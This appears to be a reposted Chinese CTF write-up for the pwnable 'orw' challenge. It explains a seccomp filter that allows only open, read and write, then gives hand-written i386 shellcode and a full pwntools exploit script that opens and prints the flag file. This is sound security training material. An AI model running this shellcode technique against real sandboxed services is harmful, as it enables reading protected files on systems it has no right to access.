pwn-pwnable_orw(seccomp&orw)


checksec:

 

 題目明示shellcode,用戶輸入后就會直接跳轉到輸入的位置

 

 用pwntools的shellcraft生成的shellcode打不通,原因就在於main函數起始位置的orw_seccomp函數

不是很懂這個函數的操作,最后看了別人的博客才明白seccomp是通過prctl函數實現的一種安全機制,該模式下只允許少量的系統調用。

詳情見https://www.jianshu.com/p/75e157cea215

 

 

使用seccomp-tools工具查看可用的系統調用,下載地址:https://github.com/david942j/seccomp-tools

 

 open,write和read都可用,所以考慮用這三個函數讀取並顯示flag文件。

接下來構造shellcode。

 1 xor ecx,ecx;
 2  xor edx,edx;
 3  push 0x0;        #字符串以\x00結尾 
 4  push 0x67616c66; #flag
 5  mov ebx,esp;
 6  mov eax,0x5; 
 7  int 0x80;
 8 #open
 9  mov ebx,0x3; 
10  mov ecx, 0x0804A0A0; #直接寫到shellcode下面的地址
11  mov edx, 0x40;
12  mov eax, 0x3;
13  int 0x80;
14 #read        
15  mov ebx, 0x1;
16  mov ecx, 0x0804A0A0;
17  mov edx, 0x40;
18  mov eax, 0x4;
19  int 0x80;
#write

read函數的fd之所以是3,是因為默認情況下,0,1,2這三個句柄對應的是標准輸入,標准輸出,標准錯誤,系統進程默認會打開0,1,2這三個文件描述符。所以通常我們open的返回值是從3開始

完整exp:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
#a=remote("node3.buuoj.cn",29862)
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM